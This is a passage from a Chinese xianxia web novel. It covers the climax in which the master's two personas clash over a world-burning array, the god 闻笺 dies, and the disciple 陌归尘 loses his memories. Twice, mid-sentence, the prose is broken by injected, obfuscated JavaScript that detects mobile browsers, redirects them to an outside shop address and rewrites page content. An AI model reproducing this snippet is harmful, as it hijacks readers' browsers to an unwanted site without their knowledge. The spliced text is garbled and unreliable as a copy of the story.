那是个癫狂得逞,又无比欣慰的扭曲笑容:“抱歉了,为师的好徒儿,我们暂时还下不了地狱,先委屈你成个神。” 阵法光柱如银河逆流,冲天而上,一瞬间扩散映照整个天幕。 天雷降落,业火肆虐,滚滚烈焰燃烧而起,火势以八百里时速,刹那蔓延开外。 受到华光普照的众人恍若撞邪,纷纷红了眼眶,无端兵戎相见,杀戮声四起。 与此同时,夜幕星火缤纷,亮起场空前盛大的烟火,砰砰绽放的烟花,将底下人的惨叫渲染成诡异的狂欢。 冰凉的掌,摸来青年后颈,往后捏捏,示意他看向对方。陌归尘被迫仰起头去承接师尊投来的眸光。 左耳是凄厉哀嚎。 右耳是烟花嘭鸣。 师尊侧脸的鲜血,被绚烂交织的火光照出道扭曲锋芒,那人慢悠悠挽起病态的唇,笑望他。 阴恻恻的笑声,透出种异常的亢奋,似阴鸷的毒蛇,游移在颈脖,嘶嘶吐信子,叫听者不寒而栗。 “惊喜吗? “生辰快乐,新生快乐。” 69.那是,闻笺。 69. 天地色变,狂风骤起,黑云压城,雷电滔滔,三千业火连绵不绝燃烧大地。 那场空前绝后的烟火盛宴,还在落霞峰上空绽放,仿佛一幅美丽画卷,将所有灾难分割,抵挡,再隔绝开。 光怪陆离的焰芒漾在白衣男子的脸庞,他一把将陌归尘拉进怀里,共浴烈焰:“别怕,还差最后一步,只差一步了,师父陪着你。” 陌归尘心口的那株沉寂许久的蔷薇花忽而雀跃绽放,浴火摇曳,一瞬间吐出以罪孽为源头的浓稠煞气,煞气源源不断涌出,纵横交错萦绕,挡下业火焚烧。 他便是如此,亲眼目睹煞气被业火燃烧殆尽,又生出一层,再尽,再生,永不停歇地包裹、保护着他。 师尊下巴轻抵他脑顶:“先前不是问蔷薇引有什么用吗?这就是用处,经蔷薇引炼化的煞气,可以扛过天道的惩罚,帮你抵消天谴,不疼的。” 听着四周扭曲的凄啸哭嚎,他想起那日在合欢宗附近的镇子的场景,电闪雷鸣,火光滔天,湮没在烈焰里的城中人,却只知彼此残杀,竟就是这场毁天灭地的三界浩劫的缩影。 山海崩,天地裂,残垣断壁争先恐后逃窜出不少老弱病残。 陌归尘看到远方的楼阁接二连三轰然坍塌,被压在废墟的人,半身不遂,还紧握兵器乱砍,红了眼地沉浸在杀戮中。 一个头颅被利刃砍飞抛上半空。 虎视眈眈半天的秃鹫,倏尔飞去,尖利的鸟喙扎进眼球,爆出点浆液,亢奋地扑腾翅膀,叼着鲜血淋漓的人头飞走。 陌归尘:“你停下来。” 雪影顺着徒弟视线,颇有闲情雅致欣赏了一会儿,才慢慢悠悠启唇:“停不了。” “不能这样。” “为什么不能,他们的生死,与我何干?我只在乎我的徒弟,我只要你好好活着。” “这样是不对的!” 陌归尘不知自己哪来的力气,竟一瞬间推翻对方,他趔趔趄趄弓着腰身,跪伏在地,歇斯底里怒吼:“我做不到!” 焚烧罪恶的业火火舌扫过他尾尖,青年木讷怔了怔,又看着那火舔舐上他掌背,不疼,竟然半分也不疼。 为什么不疼? 为什么? 热潮一茬一茬扑来,夜幕下的缤纷星火,混上橙红的焰光,交织铺盖上师尊的脸,至此,他才后知后觉发现,那张脸愈发煞白,眉骨亦是洇出不合常理的细汗。 “烟花好看么?”师尊的声音有些虚弱,却微笑抚过他眼尾,“哭什么呀?等烟火放完,我们玉玉就迎来新生了。” 目睹对方脸色越发不对劲儿,陌归尘脑海蓦然闪过那句戏言——百倍反噬。 “不!停下来!” “为师说过停不了。” “你会疼死的!” 雪影如常云淡风轻笑言:“不疼,都没你拿刀扎我的时候疼。” 陌归尘:“你有病啊,都什么时候了,还开玩笑。” 白衣男子仍是微笑:“你每次拿刀扎师父,师父真的很疼,可是也别无他法了。” 他语气浅淡:“你以为为师很想折磨你?魔神阵需要神的七情六欲为能量载体,这世间只剩一个神,闻笺把心剜了,我又没有心,我上哪找神的七情六欲?只能给你种蔷薇引与我共享神体,从你身上获取神的七情六欲。” 陌归尘抓紧对方手臂,摇头:“命理飘忽就飘忽呗,生亦何欢,死亦何惧,喜乐悲愁,皆归尘土,你自己也说了,早死晚死都得死,总会死的。” 雪影亦置否:“那不行,你爹爹说想让你好好看一看这世间的风景,你才多大,还没看够呢,你师父我不是什么好人,但胜在是个信守承诺的人,决不食言。” 陌归尘阖眼落泪:“师尊,不要这样,我们不能这样。” 雪影轻轻拥上陌归尘,抚着对方脊背,柔声宽慰:“师父永远不会让你输。” 陌归尘一把推开对方:“别演了,没意思。” 雪影懒懒摊手:“你不也在演么?” “把法阵停了。” “停不了。” 陌归尘霎时敛起情绪,冷下脸,唯有眼尾挂着的几滴水珠昭示先前那幕确有发生:“我说停下。” 雪影耸肩,指腹抹过徒弟眼尾的泪水,含回口中,混杂血水,细细品尝着那滋味:“哭得这么真,为师差点都动容了,以为自己终于守得云开见月明呢。” “你别逼我大义灭亲。” 白衣男子失笑,煞有其事沉吟一声:“原来我也是你的亲啊,听起来还不错。” “我再说一遍,收手。” “不可能。” 二人静默对峙片刻。 陌归尘转手掏出邪神之心,警告道:“我让你把阵法停下。” 邪神之心重现,雪影丝毫不见惊愕,不咸不淡扫过一眼,悠悠挽起意料之中的笑:“事到如今,你还觉得一颗破心就能完全克制我?” 他大大方方坦诚道:“我确实想除掉你那位好师尊。 “但为师还不至于蠢笨至此,你真爱他也好假爱他也罢,一旦他死得一干二净,必将成为横亘在你心底无法磨灭的刺,我们可就彻底没有任何挽回的余地了。 “我岂会放任自己的情敌,成为我爱侣的白月光。 “邪神之心可不是用来克制我的,那是给你那位好师尊保命的,这心,是你那位好师尊的第二条命,心在,说明他亦在。” “你说什么……” 陌归尘倏然扯上对方衣袖,“闻笺在哪?” 他不可置信追问:“闻笺在哪?他到底在哪?” “为师不是早给你提示了吗?” 陌归尘手心一紧,猛地瞪大双眼,想起林中偶遇二师姐与十三师兄那一幕,难怪这么无巧不成书,敢情又是这人暗中捣鬼。 他满目愕然怔住,好半晌方僵涩移动视线,目光停在对方心口处:“不!不可能!” “哎呀,又被我们玉玉猜到了,没错,远在天边,近在眼前。”雪影指尖点在自己心口,“就是这里,你还捅过几匕首呢。” 他挽出个轻飘飘的笑,气定神闲问:“邪若不能胜正,你说他为何到现在还被我压制在体内,久久未能重新掌握身体主导权?啧啧啧,他还不如你二师姐呢。” 陌归尘几乎是吼出来的:“不,一定是你在使诈!” 雪影坦坦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14042931|140997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 荡荡摊手,光明磊落地承认道:“好吧,其实你也是帮凶,常规来说,神若受伤,可以靠沉睡疗伤,我们若不双修的话,你那位好师尊应该早就苏醒了。” 白衣男子嘴角含上意味不明的笑:“想开点嘛,若非你一直在吸他修为,万一他中途醒来,低头一看,自己的徒弟正在和自己颠鸾倒凤,那可真是比杀了他还难受哟。” 他故意恶劣一笑,调侃道:“我们玉玉喜欢中途换人这种刺激事?” 随后颇为遗憾感慨:“可惜,大抵是满足不了你。” 陌归尘眼眶见红,愤然低骂:“你卑鄙无耻!” 白衣男子敛起玩世不恭的风流神情,难得正色反问:“为师答应你爹爹照料你一二,我所做种种,无非是竭尽所能让你活下去,便成了你口中的无耻?” 这段话叫人哑声。 陌归尘沉默,好半晌才道:“我没否认你的初衷,只是你的方式是错的!” 青年的嗓音染着半分颤抖,像个苦口婆心的哀求:“师尊,不要一错再错了。” 至此,白衣男子再无往日的散漫不着调,火光映来他冷峻的容颜,那人神情淡然,睥睨众生,仿佛回归凌驾三界的神,漠视万物道:“我说过,三界众生,与我无关,我只要你,好好活着。” 陌归尘苦苦摇头。 霎时,一阵刺眼白光从师尊心口冲出,那团雪白灵力光辉,愈渐凝聚,渐渐汇集成一个虚幻影子。虚影被煌煌焰光照得明明灭灭,最终化出个熟悉轮廓。 那道剪影,风似的穿过陌归尘的躯体,又停下。 目睹这突如其来的转变,陌归尘瞬间意识到什么,浑身力气无端一卸,受惊般往后摔了摔。 直愣愣跌进一个臂弯。 雪影微讶一瞬,慢腾腾斜觑陌归尘身后的影子,颇为幽怨责怪:“哟,居然冲破我的封禁提前苏醒了?可惜呀,阵法已成,你现在出来也是于事无补,还平白吓到我们的小徒弟,真该死啊。” 出来…… 喧嚣嘈杂中,陌归尘垂下脑袋,方惊觉,紧绷的身体早已得到放松,比他的心还要快一步认出身后之人。 那瞬间的错觉,仿佛将人拉回当年的落霞峰,师尊外出行医施药多时,他白日里和师姐师兄还有阿栀鬼混,夜里,孤零零坐在后院的葡萄藤秋千。 热闹过后的孤寂,更叫人落寞。 那会儿不知怎的,出神许久的他,从幅度越荡越大的秋千上摔出来,险些摔得人仰马翻之际,蓦然落进个温暖的臂弯。 是闻笺稳稳接住他,含笑打趣道:“你这是荡秋千,还是把自己当弹弓打?” 几岁的孩子顿时喜上眉梢,转身环抱上师尊脖子:“是呀!弹弓成精啦!还要专门瞄准师尊打!” …… 陌归尘攥紧扶在他臂膀的那抹雪白袖口,僵涩转头,又近乡情怯地停一下,最终还是屏息迎上去,以确认对方到底是谁。 蓦然对上双眼眸。 那是,闻笺。 陌归尘仍半梦半醒停在回忆与现实的交界处,他听到远方传来细微的埋怨声,是年幼的自己在与闻笺咕哝—— 你怎么才回来……我都想你了。 70.好久不见。 70. 那一眼,恍若隔世。 闻笺没说话。 倒是另一位师尊率先打破这份缄默,朝他伸来手,话音如常,不愠不怒开口:“玉玉,过来。” 陌归尘闻声回神,没接那手。 只微微垂下眸,环顾一下,方惊觉自己这个姿势着实有些奇怪,上半身背靠闻笺臂弯,左腿膝弯却晾在前面那位师尊的小腿。 这次,他竟破天荒地没收回小腿,就如,他百思不得其解,到底是谁错了…… 那一刻,恰似回到当年风和日丽的柳树下,他趴在石桌上,和师尊对弈的那局棋,无可解。 他心底旋即浮现起个奇怪的念头。 为何不能……? 还未细想下去,便被一掌轰得烟消云散,自己有什么资格提这样荒谬的要求,简直天方夜谭,更是无理取闹! “先起来吧。” 陌归尘被闻笺扶起,站在滔滔火光里,亦横在二位师尊中间,沉默许久。 他背对闻笺,面向前方雪影,沉静异常道:“师尊,停下来吧。” 那人没回答他的话,只固执道:“听话,过来。” 陌归尘摇头。 “你别逼我。” “我逼你?师尊,你说这话不亏心吗?” 对面人染血的脸庞,被火光映得偏执:“既然如此,那你可别怪我没给你选择。” 陌归尘:“你有没有想过,你的徒弟真正想要的是什么?” 那人亦自嘲失笑:“那我呢?你要我眼睁睁目睹自己一手一脚拉扯大的孩子,活生生死在我眼前么?你有想过,我也会难过吗?” “……” 陌归尘被这话堵得哑口无言,努力张了张唇,还是无以反驳,是呀,世间生离死别千千万,最痛,莫过于白发人送黑发人。 思绪纷乱时,眉心忽而被点一下,闻笺的话音随之传过耳畔:“别听他乱说,他在攻你心防。” 陌归尘神思清明些许,却还是认同这份带着算计的心声,道:“真情也好,假意也罢,这话,的的确确说得没错。” 其实他又何尝不晓得,天底下岂会有如此巧合之事,偏偏归云真人也是八字纯阴的阴生子,还能未卜先知留下瓶心头血破煞? 太刻意了。 他只知自己那日误落婆娑遗梦,亲眼见证过师尊的诞生,这人,是八字纯阴的阴生子。 那个素来藐视苍生的男子,也会愿意为他放一瓶心头血,但是,这个人,从未将功劳揽上身,自己到底有什么脸面去责备对方呢。 陌归尘:“你们没错,错的是我。” 雪影:“你过来,不怪你。” 闻笺拉着陌归尘往后撤半步,侧身挡在徒弟身前,面向对面的自己:“别执迷不悟了。” 雪影不以为意嗤笑。 闻笺眉宇微凝,顿时感到不妙,果不其然,下一瞬,被他护在身后的陌归尘忽然推开他,一步步走向对面。 陌归尘乖顺挽上雪影手臂,轻轻挨落对方肩头,满心满眼只有身边人:“这里好无聊,我们什么时候回家?” 雪影单手搂上青年的腰,温声低哄:“再待一会儿,很快。”而后,才不紧不慢回望闻笺,宣示主权般得意道,“忘了告诉你,蔷薇引最后一个作用是,情蛊。” 闻笺:“这样,有意义吗?” 雪影慢条斯理理正陌归尘微乱的衣襟,才懒眼觑向闻笺:“自古成王败寇,胜者,做什么都有意义。” “三界众生何其无辜?” “你怜悯三界是你的事,至于我,三界善待过我吗?宁我负人,毋人负我,再说,能为我们的小徒弟献身,是他们三生有幸。” 两人面无表情相视一眼,默契十足,同一瞬间消失于原地。 半空,两道身影快如闪电,相碰,交织,分离,又互相对撞,循环往复,根本捕捉不出到底谁更胜一筹。 陌归尘抬眼瞥去,一动不动观看半天。 不知多久后。 一柱剑光落地,光影刺眼,气势恢弘,磅礴横扫,直朝四面八方冲散,瞬息千里冰封,冻住世间万物,连那高速运转的魔神阵亦被暂时冻歇其中。 时间仿佛凝滞。 两道身影飘然落地,沉默对视,中间仿若立起面无形的镜,照出相方一模一样的收手动作。 陌归尘马不停蹄跑过去,停在二人之外,有些不知所措回来打量。那刻,他竟分不出谁是谁。 漫长的寂静后,终是砰一声,如镜子碎裂的声音。 镜碎。 一道身影亦随之消散。 几乎是同一瞬间,共享视野的法术中断,眼前陷回片黑暗,陌归尘条件反射伸手,去抓那道消失的影子,掌心却是空空如也,什么也抓不住。 意识到消失的到底是谁。 他无端跌了一下。 明明消失的那个,是他一直想要逃离的人,最后关头,他也不知道自己为什么要伸手挽留。 “没了吗……” 他讷讷陈述道,用笃定的语气,说着难以置信的话。 那个理直气壮,又老不正经的家伙,一天天只会碍他眼的人,总乐此不疲逗他,闲来无事吐几句恶趣味的话,一点为人师表的样子都没。 这样的人终于消失得无影无踪,他应该高兴才对的,是该高兴的。 那个混不吝的家伙,像坟头被踩了一脚的鬼似的,整日对他纠缠不休的人,终于消失了。 他该高兴才对的。 怎么就消失了呢。 那个人行事滴水不漏,做什么都藏得太好,以至于他总是忽略,所有的算计里,都带着何等厚重的真情实感。 那个人把爱藏在算计里。 让他连每一次的反击都不带任何负担。 怎么就消失了呢! 陌归尘眸光涣散抬起脸,泪迹涔涔扑向闻笺,愤然不满嘶吼:“我都没有杀你!你凭什么死啊!我让你死了吗? “你是不是傻!停下来不就好了吗?你为什么不能把阵法停了……说我倔,你自己又好到哪里去!为什么啊……为什么要落得这种收场……不……不!都是我的错! “师尊,不是你们的错。 “是我,是我的错。 “他们骂得对,我才是那个祸害!是我祸害众生,祸害你们,你把我杀了吧!把我杀了吧……你们明明都共存了多少年岁月了,因为我自相残杀……不该这样的!如果没有我就好了! “把我杀了吧……” 陌归尘已有些语无伦次。 他浑身颤抖,低垂脑袋,整个人乏力抵在闻笺胸膛,声嘶力竭过后,只剩下无助的沙哑呢喃:“把我杀了吧。 “把我杀了……” “你没有错。”白衣男子掌心搭在徒弟脊背,一下又一下轻抚,宽慰道,“不是你的错,我们青栀一直都是个很好的孩子,别哭。” 多年相伴,闻笺还是第一次看徒弟绑高马尾,大抵是绑得随意,那缕扎在发根的银丝已经有些松散。 他翻了翻袖口,发现没有多余的发带,思忖片刻,只好卸下自己头顶的发带。 他五指挽起徒弟的发,总觉得这头银丝,又白了一个度,低声喟叹一下,亲手替对方绑出个利落的高马尾。 闻笺指尖还抚在陌归尘发顶,他仔细打量几眼,还是难忍心疼,多么漂亮的高马尾,再配上头墨发,该是何等意气风发。 他亲手拉扯大的孩子,本该长成个仗剑走天涯的风流少年郎,又或者是依靠自己的蓬勃松劲,照耀每个人的小太阳。 怎么就演变成如今模样。 怎么偏偏早生华发。 他的徒弟,本该有大好前程,风光无限,一如其年幼时许下的誓言:名扬天下。 不该如此的。 闻笺扶正陌归尘,隔着衣物,从对方心口勾出根血红枯藤,将那蔷薇引连根拔起,化成齑粉,又捏起方绢帕,轻柔给对方拭泪:“我这当师父的,已经没有什么可教你了。” 他捏紧指腹,语气极尽轻描淡写:“最后一课:相濡以沫,不如相忘于江湖。” 陌归尘仿若幻听,微愣噎住嗓子,便感知到那人轻轻摸着他的发顶,像个操碎心的长者,语重心长开口:“为师活了这么多年,也活够了,况且你已经长大,如你曾经所言,我们青栀是个顶天立地的男子汉,不需要躲在师父的羽翼下。 “只是,以后别再瞎折腾自己的身子骨,要好好照顾自己,知道吗?” 陌归尘僵涩仰起头,潸然泪下,泣不成声,一双手紧紧攥住闻笺衣袖,攥得指骨泛白,攥得乏力,攥得指甲穿破布料,扎进掌心。 师徒二人从千年前便产生羁绊,师尊那淡漠的温柔早已刻进他骨血,这一刹,这个人,居然真的要狠心丢下他。 在这场被迫承受的突如其来的告别里,所有言语都显得贫瘠,大抵他也不知该说什么,好半晌方翕动几下唇。 闻笺看懂了,那口型是:“你好残忍。” 闻笺还是没忍住,揽过陌归尘。 他素来知晓徒弟的眼很美,一双瞳人剪秋水,如今,那眼眸布满刻骨的潮意,扑簌抖搂泪水,他还知道,这样好看的一双眼,竟再度失明,不该如此的。 白衣男子束手无策给徒弟拭泪,温声哄道:“好了,不哭,笑一笑好不好?是师父的错,等你把师父忘了,就不难过了。 “不是你的错,都是为师的错,为师才是一切罪恶的根源,不该让你来承受这些苦难的,我们惩罚他死后连个服丧的人都没,好不好? “不哭,笑一笑好不好?” …… 哄了半天,都没把人哄好,反倒越哄越难过,冰封也已有松动痕迹,时辰不多了,闻笺收回视线,苦涩闭目。 他把手心贴到陌归尘双眸,又捂上自己双眼,未见丝毫犹豫,把眼睛换给徒弟:“是师父耽误了你,是我拖累了你。 “忘掉我们吧。 “囝囝,往前走,别回头。” “囝囝”此一称呼落下,陌归尘瞬间崩溃,泪如雨下,险些喘不上气,无端的,还仿佛回到多年前夕阳西下的那个山头。 白衣仙人风尘仆仆赶回来,只为给他去买一串他午休梦里念叨不停的糖人。 那人单膝蹲下,边替他抹泪,边扬起糖人晃晃:“囝囝不哭,都成花脸猫了,给你买回来了,笑一笑好不好?” 年幼无知的自己便抽泣嘟囔“师尊那么好,遇见师尊,已经耗尽我所有运气了,我以后一定倒霉透顶”。 “油嘴滑舌,吃吧。” “不是我吃,是我梦到师尊死了,梦里的黑衣人说吃糖人就能长命百岁。” 白衣仙人轻笑一声,还是顺应小徒弟的话,逗道:“那师父可不能吃,师父已经不止一百岁了,吃完你就没师父了。” 几岁大的孩子不管不顾,执拗着掰碎一点糖,强行塞到师尊唇边:“不管!你一定要吃!不然死了都没人管你!” …… 人真的不要随便造口业。 因为不知道哪一天,可能就一语成谶了。 咔嚓,冰裂,五彩的烟花跌落,业火复燃,盛芒席卷冲上夜空,照得落霞峰恍若白昼,烈焰气潮涤荡而来的瞬间,那位搂着陌归尘的白衣男子,登时消散在风中,连同那颗邪神之心也一并不见踪影,还有那些被抹去的记忆,统统消散。 统统消散在这一瞬。 夜幕飘下熠熠生辉的光华,熔金似的,铺天盖地,如叫人沐一场璀璨金雪。 最后一丝神力跌落陌归尘的发,满头银丝刹那乌黑如泼墨。 神陨。 神归大地,万物复苏。 * 人们只记得三月初七那天,下了一场史无前例的大雨,甘霖汇聚到仙魔两地交界处,形成条河流,河水滚滚,奔腾不息。 雨后初霁,天空飘下近乎透明的雪花,流光细闪,如梦似幻,漂亮夺目,有人说,那是神陨后的神泽。 人间依旧四时更替,轮转而回,独独仙门没了冬季。 陌归尘已经好久没见过雪的模样,那样也好,再不用一到冬夜,便往暖炉子钻。 * 浮华派的日子,惬意逍遥,今日有惯例的长老授课,来来去去都是那些老话,陌归尘直接翘了堂,偷溜下山,与阿栀去凡间寻乐子。 回去的路上,心想二师姐与十三师兄好事将近,总得挑点贺礼聊表心意的,再三思忖后,他来到间玉饰铺子。 掌柜的是名中年男子,见来人气度不凡,很是自来熟地迎上来道:“哟!这位公子,挑点什么?送人还是自用?” 听着那话,陌归尘蓦然一怔,狐疑看向中年男子。 那男子也倏然看来,呆愣一下,失笑,说着搭讪一般的话:“我怎么瞧着公子有点面善?您来帮衬过么?” 陌归尘摇头。 他确定自己是第一次来。 可那人,分明似曾相识。 “我自己看看吧。”陌归尘言罢,忽而被个锦匣吸引目光,匣内装着枚玉带钩。 他快步走过去,路过面铜镜,再次一顿,停下,侧目望去镜面。 陌归尘是个鲜少照镜子的人,连阿栀都爱打趣他:“你不照镜子是对的,我怕你被自己美死!” 待他敛神时,方惊觉自己竟站在镜前端详半天,实在是镜中那双眼睛真特别,越看越像另一个人在看他。 自此,他便爱上照镜子了。 与其说爱照镜子。 不如说爱看镜中那双眼。 又一日。 陌归尘放下话本,拿起面铜镜,门外,二师姐和十三师兄忙里偷闲,端来一盘荷叶鸡。 二师姐才迈进一条腿,便与他调笑道:“哟哟哟,瞧瞧这人臭美的!哎呀,我们浮华派第一,不对!我们三界第一美人,别臭美了!赶紧趁热吃,我在前膛拿的。” 陌归尘反扣铜镜,问:“这是什么?” “荷叶鸡呀,你没吃过吗?”林岁愉掰下个鸡腿,直接塞进陌归尘手,“喏!别说师姐不疼你哈。” 十三师兄朔望也煞有其事开口:“我也不爱鸡腿,都拿去吧,免得浪费。” 不爱鸡腿,都拿去? 陌归尘拧眉:“你说什么?” 朔望丈二和尚摸不着头脑,重复道:“我说我不爱鸡腿,浪费终归不好,都拿去?” 话音未完,陌归尘放下鸡腿,重新拿起铜镜,望向镜中呆滞一下。 余光瞥到桌面的风月话本,书册还摊开着,他再次回顾那段被他反复看过几次的话: 【情不知所起,一往而深,生者可以死,死可以生,生而不可与死,死而不可复生者,皆非情之至也】 青年又将视线移回铜镜,牢牢盯紧镜中那双眼睛,那是怎样一双眼眸?穷尽毕生词汇,也难以描绘,看着看着,竟情不自禁泪流不止。 陌归尘风似的跑出去。 总觉得自己还有事情要做。 他一定是忘了什么! 一定是忘了什么! 一定是! 房中二人目睹自家师弟反常的举动,哪里还坐得住:“喂!你干嘛一惊一乍的!” 林岁愉追出去:“怎么了?” 她拉住陌归尘手臂:“到底发生何事了?你别吓我哈!我胆子很小的!” 陌归尘眼神空洞半天,才吐出几个字:“我……我,我找人。” “你找谁?” “我不知道!我不记得了!” 又见师弟双手捂头,疯子似的狂捶自己脑袋,林岁愉生怕对方下一瞬便要自残,也顾不得礼数,二话不说抱住对方制止道:“欸欸欸冷静!冷静!忘了便慢慢想,总会想起的。” 奈何这人力气实在大,根本拦不住,她回眸喊朔望:“呆子!你看戏呢!快过来帮忙啊!” * 浮华派,藏书阁。 敞开的木窗,正一左一右倚靠两个人。 林岁愉百思不得其解,手指指着里面的陌归尘,转头看去朔望,说:“嘶……他到底要干嘛?” 朔望摇头,一脸爱莫能助。 “这小鬼头!前段日子疯了似的说找人,找了两天又不找了,现在又跑来藏书阁翻古籍?这么好学的吗?”姑娘神情尽是不可置信,又满眼钦佩比划指头,“他这几天功夫,读了我十年有余的书!天才不可怕,可怕的是天才比你更勤勉!” 朔望微笑耸肩。 二人中间忽然冒出个黑色狗头,阿栀哈着舌头:“嘶哈嘶哈……你管他找啥,他要找啥,我就找啥。”言语间已是一跃,整条狗跳进藏书阁,跑到陌归尘身边,“你找什么?我们一起!” 见有人陪着自己这师弟,林岁愉收回视线,连拖带拽拉上朔望离开,压榨道:“我晨练功课没做完,你帮我抄一下。” 朔望:“……” 朔望试图以理服人:“师——” 林岁愉扬起银鞭:“抄不抄?” 朔望:“……抄。” 另一边。 油灯燃了一盏又一盏,阿栀昏昏欲睡,打着哈欠倒下,陌归尘没叫醒对方,由得那人枕在自己腿上,直至午夜子时,藏书阁闭阁,守阁弟子催促他们离去,他才唤醒对方离开。 回去的路上,许是用眼太久,夜里又昏暗无比,临近落霞峰小道时,青年晕头转向,眼前一花,毫无征兆地摔了一跤。 膝盖重重撞到青石地板,磕伤好大一片,回到住所,陌归尘盯着那伤口半天,竟然没有愈合。 第二天,伤口还在。 第三天,依然没离奇康复如初,甚至愈发严重。 第四天,陌归尘终于按捺不住,撩起裤腿,指着腿上的伤,问:“为什么它不会自愈?” 林岁愉与朔望对视一眼,随后摸上陌归尘额门:“没烧啊,也没被夺舍,完了!咱弟弟傻了?” 朔望神色复杂抿唇,终是温和微笑,耐下性子与自己这智商蓦然倒退成三岁小孩的师弟灌输常识:“你这个呢,是伤口,你不管它,它非但不会自愈,还有可能恶化!” 言罢,双掌在下巴托出一朵花儿,还歪头一笑:“懂了吗?陌小朋友。” 陌归尘迷惘摇头,执拗道:“不是这样的,它应该一夜消失的。” 他总觉十三师兄的话不合常理,他非常确定,这世间必然存在一个地方,无论他受了多严重的伤,那些伤,都能一夕之间消失。 这才是符合常态的。 林岁愉顺应附和:“啊对对对!没错,就该一夜愈合!” “对什么对,师姐你别——”朔望话音戛然而止,二师姐一巴掌呼来他手臂,连拖带拽把他扯走,压低声音,“呆子!你别搁这刺激他才是,去拿药给他敷一下腿就好。” “你呢?” “我去研究下治脑疾的药方。” “……” 浑然不知情的陌归尘还木讷坐在原地,他还盯着伤口发呆,思来想去也弄不明白,为什么还不自愈? 为什么呢? * 翌日,陌归尘照旧泡在藏书阁。 足足一个月,总算将阁内藏经书册翻遍,青年最后拿起一块玉简,哪怕玉简有提醒,此种阵法,会带来未可知的副作用,还是喜不胜收攥住玉简,眉欢眼笑离开。 他寻了片宽敞无人的空地。 玉简有言,书写咒语不可用普通的笔,需得用特殊灵器,陌归尘不假思索摸上自己的尾巴。 九尾族的尾巴可化作法器。 他闭目,狠心一掰,生生断下一根尾巴,指缝染上血水,陌归尘却视若无睹,单手撑在地上,照着玉简抄写咒语。 咒语才抄几页,陌归尘盯着玉简上的提示,呆愣一下,名字? 他搜肠刮肚半天,也思索无果,唯有暂且搁置,跑去找师姐。 妙药峰药阁,陌归尘推门而进:“师姐,我是不是还有其他名字?” 林岁愉正在埋首钻研药方,被大汗淋漓的师弟吓了一跳,吐气道:“你不一直都叫陌归尘么?没有字,也没有小名。” 陌归尘摇头,万分笃定:“不,我一定还有两个名,一个本名,一个小名。” 林岁愉无言以对:“……” 林岁愉扶额:“那你说说你小名?” 陌归尘瞥向桌面玉瓶:“是叠词。” 林岁愉叠起方子:“你倒是说唤什么呀。” 陌归尘:“我……我不记得了。” 林岁愉:“那本名呢?” 陌归尘视线停在瓶中青涩的栀子花花枝:“我……也不记得了。” 林岁愉揉揉眉心,还是耐着性子搭上师弟肩膀,连哄带推把人带回落霞峰:“这样,你先去歇一会儿,师姐呢,已经把药方研究出来了,等你师兄熬完药就给你送去,听话,乖哈。” 弟子所,寝间。 看着师弟躺到榻,林 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14092906|140997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 岁愉才转身。 榻上的青年,没有老实睡下,待师姐离开后,他翻身下床,回到先前的地儿,空出名字那句咒语,继续写余下的咒语。 他也不知自己为何要执着这个法阵,只知待阵成后,答案便会如愿到来。 陌归尘迫切要揭晓答案。 奈何咒语太长。 怎么都写不完……写不完…… 笔墨耗完一次又一次,尾巴也折损一根又一根,摸上最后一根尾巴时,陌归尘已经没有力气了,他摇摇晃晃,眼前视野也随之忽明忽暗。 啪嗒一下,是有什么东西打落他掌背,冰冰凉凉。 一滴,两滴,三滴…… 偌大的空地,倒下一只猫,九条尾巴,断得只剩下一根,雪白的毛色染上斑驳污秽,气若游丝躺在暗红黏稠的血红符文里的。 它虚弱掀动一下眼皮。 不……不要…… 天公不作美,那日的仙门,天空无端降落好大一场雨,噼里啪啦地穿林打叶,滂沱洗刷整个大地,将所到之处冲得空荡荡。 冲刷得一干二净。 * 不知多久后,雨过天晴,波光粼粼的湖边,站着名墨发青年。 烈日当空,阳光灼来肌肤,叫他很是不适,连忙披上件黑袍,浑身裹得严实,只露出双眼眸,迷茫环顾四周。 他不知自己是谁。 亦不知自己为何在此。 低头环顾自己的双手,竟是枯如老树般可怕,青年怔忡顿顿,抬眸时,眼前不知何时泛起光怪陆离的泡影,与白茫茫的雾霭萦绕交织,形成道如梦似幻的圆形拱门。 再回神时,他方醒觉场景早已变幻。 自己站在一座山峰脚下。 那峰,漫山遍野的栀子花,开得正盛。 他踏上上山的小路,一直往深处走,来到幽径的尽头,拐角处有一截毫无灵气的枯藕,正伶仃躺在青提藤架下,边上还撒落几颗粽子糖。 好不可怜的模样。 黑袍青年静默无言站在原地,望向那截枯藕,看了一天一夜,最终还是走过去,从袖口翻出方绢帕,盖上那截枯藕。 忽而,山下传来骚动。 整个场景都虚幻不已,瞧得不真切,恍若梦境那般,浮浮沉沉,缥缈不定,黑袍青年只能循着动静来到一处殿宇。 他看到空荡大殿有一对男女。 姑娘跪在男子身前落泪:“师尊,弟子求您走吧,再不走怕是也活不成了,天谴降下的业火可不是闹着玩的。” 火势滔天,浓浓大烟滚滚而来,男子面容沧桑,神情悲戚抱在桌角:“不走,为师不走,月儿你自己走,快走!” “师尊不走,弟子也不走。” “听话,别胡闹!” “胡闹的分明是师尊。” “我没能照顾好她带回来的孩子,我至少要守着她的门派吧。” 